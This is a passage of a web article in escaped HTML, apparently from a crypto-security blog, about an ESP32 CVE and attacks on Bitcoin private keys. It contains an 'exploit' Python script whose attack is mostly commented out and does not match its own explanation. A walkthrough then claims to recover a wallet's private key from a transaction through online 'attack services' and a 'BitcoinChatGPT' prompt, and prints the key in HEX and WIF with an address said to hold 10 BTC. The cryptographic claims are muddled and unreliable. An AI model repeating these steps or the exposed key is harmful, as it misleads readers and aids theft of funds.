noopener\"\u003ehttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eIn the Bitcoin network, an attacker can find a vulnerability in the function\u0026nbsp;\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003ethat lacks a full check that a point is on an elliptic curve (ECC). In the code, the check is only performed for non-zero points, which opens the possibility of attacks using invalid curves\u0026nbsp;\u003ccode\u003e(invalid curve attacks)\u003c/code\u003e.\u003c/p\u003e\n\n\n\n\u003cp\u003eThe attacker’s sample code shows how this vulnerability can be exploited. It demonstrates a function\u0026nbsp;\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003ethat lacks a reliable check for a point on a curve, and a function\u0026nbsp;\u0026nbsp;\u003ccode\u003einvalid_curve_attack\u003c/code\u003ethat attempts to exploit this weakness. The code also uses libraries\u0026nbsp;\u0026nbsp;\u003ccode\u003epycryptodome\u003c/code\u003e\u0026nbsp;for cryptographic operations.\u003c/p\u003e\n\n\n\n\u003cp\u003eIt is\u0026nbsp;\u0026nbsp;\u003ccode\u003epycryptodome\u003c/code\u003e\u0026nbsp;harder to perform such attacks directly due to the built-in security mechanisms. The code shows how one can create an “incorrect” curve and try to perform a multiplication, but it is emphasized that this is insecure and requires a deep understanding of cryptography.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp class=\"has-medium-font-size\"\u003e\u003cem\u003eBy exploiting a vulnerability in the function\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003e, an attacker can perform\u0026nbsp;\u003ca href=\"https://bitoncoin.org/1njqzhzyac89fdhqcmb1khdjekknvylfmy/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ean invalid curve attack\u003c/a\u003e\u0026nbsp;to compromise private keys on the Bitcoin network. Below is a sample Python script demonstrating this attack.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-20-1024x645.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5574\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003ePython script\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/ecdsa_curve_attack.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eecdsa_curve_attack.py\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-preformatted has-text-color has-link-color wp-elements-34deb6d1e370994ee175e453d705834c\" style=\"color:#4092c2\"\u003e\u003cstrong\u003e!pip install pycryptodome \u003cbr\u003efrom Crypto.Hash import SHA256 \u003cbr\u003efrom Crypto.Signature import DSS \u003cbr\u003efrom Crypto.PublicKey import ECC \u003cbr\u003efrom Crypto.Math import * \u003cbr\u003e\u003cbr\u003eclass Exploit: \u003cbr\u003e    def __init__(self): \u003cbr\u003e        self.msg = \"ATTACK!\" \u003cbr\u003e        self.hash = hash_msg(self.msg) \u003cbr\u003e\u003cbr\u003e    def sign_message(self, private_key): \u003cbr\u003e        signer = DSS.new(private_key, 'fips-186-3') \u003cbr\u003e        signature = signer.sign(self.hash) \u003cbr\u003e        return signature \u003cbr\u003e\u003cbr\u003e    def verify_signature(self, public_key, signature): \u003cbr\u003e        verifier = DSS.new(public_key, 'fips-186-3') \u003cbr\u003e        try: \u003cbr\u003e            verifier.verify(self.hash, signature) \u003cbr\u003e            return True \u003cbr\u003e        except ValueError: \u003cbr\u003e            return False \u003cbr\u003e\u003cbr\u003edef hash_msg(msg): \u003cbr\u003e    hasher = SHA256.new(msg.encode('utf-8')) \u003cbr\u003e    return hasher.digest() \u003cbr\u003e\u003cbr\u003e# Elliptic curve parameters (example, must be replaced with the parameters of the curve being used) \u003cbr\u003e# WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS! \u003cbr\u003e# EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION! \u003cbr\u003ecurve = 'secp256r1' # Or another curve \u003cbr\u003e\u003cbr\u003e# Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply) \u003cbr\u003e# This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives. \u003cbr\u003edef multiply(pubkey, privkey): \u003cbr\u003e    # WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE! \u003cbr\u003e    # IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS! \u003cbr\u003e    # Checking if the point is on the curve. In PyCryptodome, this is done automatically. \u003cbr\u003e    \u003cbr\u003e    #Performing multiplication \u003cbr\u003e    result = privkey.d * pubkey.pointQ \u003cbr\u003e    \u003cbr\u003e    return result \u003cbr\u003e\u003cbr\u003e# Example of invalid curve attack (adapted for pycryptodome) \u003cbr\u003edef invalid_curve_attack(public_key, malformed_curve_parameters): \u003cbr\u003e    # Creating a \"wrong\" curve (example!) \u003cbr\u003e    #malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'], \u003cbr\u003e    # malformed_curve_parameters['oid'], \u003cbr\u003e    # malformed_curve_parameters['field'], \u003cbr\u003e    # malformed_curve_parameters['a'], \u003cbr\u003e    # malformed_curve_parameters['b'], \u003cbr\u003e    # malformed_curve_parameters['generator'], \u003cbr\u003e    # malformed_curve_parameters['order']) \u003cbr\u003e\u003cbr\u003e    # Creating a public key on the \"wrong\" curve (example!)\u003cbr\u003e    #attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve) \u003cbr\u003e    \u003cbr\u003e    # Creating a fake private key (example!) \u003cbr\u003e    #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) \u003cbr\u003e\u003cbr\u003e    # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points \u003cbr\u003e    # to demonstrate invalid curve attack. This code is left commented out, \u003cbr\u003e    # because correct operation requires a deep understanding of ECC and unsafe operations. \u003cbr\u003e    # It is recommended to use standard curves and avoid creating your own. \u003cbr\u003e\u003cbr\u003e    # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) \u003cbr\u003e    # result = multiply(attacker_key, attacker_private_key) \u003cbr\u003e    # return result \u003cbr\u003e\u003cbr\u003e    return None # Returning None to avoid an error \u003cbr\u003e\u003cbr\u003e# Example of \"wrong\" curve parameters (NEVER USE IN PRODUCTION!) \u003cbr\u003e# This is just an example showing the data structure. Real parameters should be carefully selected. \u003cbr\u003e# These parameters are commented out to avoid an error when creating EccPoint with curve=None \u003cbr\u003emalformed_curve_parameters = { \u003cbr\u003e    #'name': \"MalformedCurve\", \u003cbr\u003e    #'oid': \"1.2.3.4\", \u003cbr\u003e    #'field': 17, \u003cbr\u003e    #'a': 2, \u003cbr\u003e    #'b': 3, \u003cbr\u003e    #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error \u003cbr\u003e    #'order': 19 \u003cbr\u003e} \u003cbr\u003e\u003cbr\u003e# Creating a private key (for example) \u003cbr\u003eprivate_key = ECC.generate(curve=curve) \u003cbr\u003epublic_key = private_key.public_key() \u003cbr\u003e\u003cbr\u003e# Example of using invalid curve attack \u003cbr\u003eattack_result = invalid_curve_attack(public_key, malformed_curve_parameters) \u003cbr\u003e\u003cbr\u003eprint(attack_result)\u003cbr\u003e\u003c/strong\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eCode explanation:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability:\u003c/strong\u003e\u0026nbsp;The function\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003echecks that a point is on the ECC curve only if it is not a point at infinity. This allows using points that are not on the main curve, but are on the twist curve.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e\u003ca href=\"https://bitoncoin.org/1nqev6t4avmpquvtvgskkeb6yc8qnswfhr/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eInvalid Curve Attack:\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;The attack involves using a point on another curve (malformed curve) to obtain information about the secret key. Since the curve check is not performed for all points, it is possible to pass a point from another curve and use the result to recover part of the secret key.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eFunction\u0026nbsp;\u003ccode\u003einvalid_curve_attack\u003c/code\u003e:\u003c/strong\u003e\u0026nbsp;This function takes a public key and a malformed curve parameters. It creates a point on the malformed curve and uses the vulnerable function\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003eto perform the multiplication.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eHow Small Subgroup Attack works:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003col class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003eSelecting a low-order point:\u003c/strong\u003e\u0026nbsp;The attacker selects a\u0026nbsp;\u003ccode\u003eQ\u003c/code\u003elow-order point on the curve or on the twist of the curve.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eSending a dot:\u003c/strong\u003e\u0026nbsp;The attacker sends this dot\u0026nbsp;\u003ccode\u003eQ\u003c/code\u003eto the victim, passing it off as his public key.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eComputing the shared secret:\u003c/strong\u003e\u0026nbsp;The victim computes\u0026nbsp;\u003ccode\u003enQ\u003c/code\u003e, where\u0026nbsp;\u003ccode\u003en\u003c/code\u003e\u0026nbsp;is the victim’s secret key.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eBrute-force:\u003c/strong\u003e\u0026nbsp;Since\u0026nbsp;\u003ccode\u003eQ\u003c/code\u003ehas a small order, there are a small number of possible values ​​for\u0026nbsp;\u003ccode\u003enQ\u0026nbsp;\u003c/code\u003e. An attacker can brute-force all of these values ​​and check which one corresponds to the encrypted data by expanding\u0026nbsp;\u003ccode\u003en\u003c/code\u003emodulo the order of\u0026nbsp;\u003ccode\u003eQ\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eRecommendations:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eAlways check that the input points are actually on the ECC curve.\u003c/li\u003e\n\n\n\n\u003cli\u003eUse libraries that provide robust curve checking and protection against invalid curve attacks.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-align-center\"\u003e\u003cstrong\u003e\u003ca href=\"https://dustattack.org/small-subgroup-attack\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSmall Subgroup Attack\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-21-1024x238.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5578\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-medium-font-size\"\u003eDecode a vulnerable\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/RawTX.txt\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eRawTX\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;transaction using the\u0026nbsp;\u003ca href=\"https://dustattack.org/small-subgroup-attack\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eSMALL SUBGROUP ATTACK service function\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-11-1024x741.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5553\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eResult is the value\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://keyhunters.ru/what-is-the-nonce-value-k-in-the-bitcoin-blockchain/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eK\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;of the secret key\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://keyhunters.ru/what-is-the-nonce-value-k-in-the-bitcoin-blockchain/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eNonce\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;in\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/calculate.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eHEX format\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003eK = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo obtain all other values ​​from the vulnerable\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/RawTX.txt\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eRawTX\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;transaction, we will use\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://dustattack.org/RSZ-Signature-Decoder\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ethe RSZ Signature Decoder service.\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-12-1024x309.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5554\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eResult values ​​for\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://dustattack.org/RSZ-Signature-Decoder/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eR, S, Z\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;in\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/calculate.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eHEX format\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-af3f1dcf53c01290b9bb16c6104023c6\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003eR = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0\nS = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9\nZ = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo get the value\u0026nbsp;\u003cstrong\u003eX\u003c/strong\u003e\u0026nbsp;of the private key from the formula:\u0026nbsp;\u003ccode\u003epriv_key = ((((S * K) - Z) * modinv(R, N)) % N)\u003c/code\u003ewe will use the software\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://dockeyhunt.com/dockeyhunt-private-key-calculator\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eDockeyhunt Private Key Calculator\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" width=\"1024\" height=\"665\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-10-1024x665.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi \u0026amp; Bluetooth\" class=\"wp-image-3284\" srcset=\"https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-10-1024x665.png 1024w, https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-10-300x195.png 300w, https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-10-768x498.png 768w, https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-10-1536x997.png 1536w, https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-10.png 1630w\" sizes=\"(max-width: 1024px) 100vw, 1024px\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eAs a result, we get the value\u0026nbsp;\u003cstrong\u003eX\u003c/strong\u003e\u0026nbsp;private key in\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/calculate.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eHEX format\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-0b38933f09eb87bc9e58561a0e2da151\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003eX = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eLet’s check the obtained private key result using machine learning\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eLet’s launch BitcoinChatGPT\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-319169cb3475b6b0f9b12607f7b63975\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003e%run BitcoinChatGPT\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eApply the SMALL SUBGROUP ATTACK function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-25-1024x637.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5596\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eFinally, the\u0026nbsp;\u003cstrong\u003eBitcoinChatGPT\u003c/strong\u003e\u0026nbsp;module outputs the response to the file:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eKEYFOUND.privkey\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;storing the private key in two most used formats\u0026nbsp;\u003cstrong\u003eHEX \u0026amp; WIF\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey\"\u003ehttps://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-111272cde6b90244601252e64d57d945\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003e============================= KEYFOUND.privkey =============================\n\nPrivate Key HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34\n\nPrivate Key WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ\n\nBitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ\u003c/strong\u003e\n\n\u003cstrong\u003eBalance: 10.00000000 BTC\n\n============================= KEYFOUND.privkey =============================\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo implement the code, we will install the\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://polynonce.ru/pip-install-bitcoin/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;package . This library allows you to create wallets, interact with the blockchain, create and sign transactions, and work with various address formats and private keys of the Bitcoin cryptocurrency.\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-9a0f1a67ae8617004ae12ce64ce4a4b7\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003e!pip3 install bitcoin\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s run\u0026nbsp;\u0026nbsp;\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/priv_addr.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003ethe code\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;\u0026nbsp;to check the Bitcoin Address match:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-23-1024x865.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5584\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-6bf9d00fadc38373e174b80b977e71d7\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003e__________________________________________________\n\nPrivate Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34\nBitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ\ntotal_received \t= 10.00000000 Bitcoin\n__________________________________________________\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp class=\"has-text-align-center has-text-color has-link-color wp-elements-117b680427be5af284252f0a05de9aa4\" style=\"color:#2f8745;font-size:25px\"\u003e\u003cstrong\u003eThat’s right! The private key corresponds to the Bitcoin Wallet.\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eLet’s open\u0026nbsp;\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://cryptodeeptech.ru/bitaddress.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ebitaddress\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;\u0026nbsp;and check:\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-287f39ebccb195a6d7c413dfcd418b61\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003eADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ\nWIF:  5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ\nHEX:  12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-13.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5556\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eResults and steps to reduce the threat\u003c/h2\u003e\n\n\n\n\u003cp\u003eIn today’s digital environment, securing devices and networks is critical. This paper analyzes a number of vulnerabilities found in various components, including ESP32 devices and software for working with cryptocurrencies such as Bitcoin. We examine flaws in private key verification code, transaction hashing methods, random key generation, ECC curve point verification, Y-coordinate recovery, and legacy hashing APIs. Particular attention is paid to the CVE-2025-27840 vulnerability in ESP32 microcontrollers, which allows attackers to inject fake updates and gain low-level access to the system. The potential implications of these vulnerabilities are discussed, including the ability to bypass code audit controls, gain access to private keys, and conduct supply chain attacks. The paper concludes with recommendations for strengthening security and preventing potential attacks.\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eRelevance\u003c/h2\u003e\n\n\n\n\u003cp\u003eBillions of devices may now be vulnerable to hidden design flaws in a single component, identified as CVE-2025-27840. The vulnerabilities could allow attackers to spoof MAC addresses, gain unauthorized access to device memory, and conduct attacks via Bluetooth.\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eVulnerabilities and their analysis\u003c/h2\u003e\n\n\n\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003ePrivate Key Derivation Vulnerability in\u003ccode\u003ehas_invalid_privkey\u003c/code\u003e\u003c/strong\u003e\u0026nbsp;: Lack of lower bound checking for Bitcoin private keys allows invalid keys (less than or equal to 0) to be used, which can lead to loss of funds.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eBitcoin Transaction Signature Forgery Vulnerability in 